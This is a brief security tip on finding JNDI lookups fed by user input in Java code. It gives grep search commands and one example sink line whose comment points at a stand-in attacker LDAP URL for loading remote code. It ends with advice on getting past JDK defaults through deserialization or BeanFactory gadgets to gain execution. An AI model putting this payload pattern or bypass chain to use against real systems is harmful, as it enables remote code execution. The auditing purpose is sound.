Find JNDI lookups that take remote input

Jun 20, 2026 · 1 min read

Beyond log4j, any JNDI lookup fed user data is dangerous. Search for the lookup APIs and for logging calls that embed request data.

bash

grep -rEn "InitialContext|.lookup(|new .*Context(" --include=*.java .
grep -rEn "log.(info|error|debug)(.*(getHeader|getParameter|request)" --include=*.java .

Confirm the sink accepts a URL scheme you control.

java

ctx.lookup(userSuppliedName); // ldap://attacker/Exploit

Pro note: modern JDKs block remote codebase by default, so pair a JNDI sink with a local deserialization or a BeanFactory gadget (for example the Tomcat factory trick) to achieve execution. Note the JDK version in the build to judge exploitability.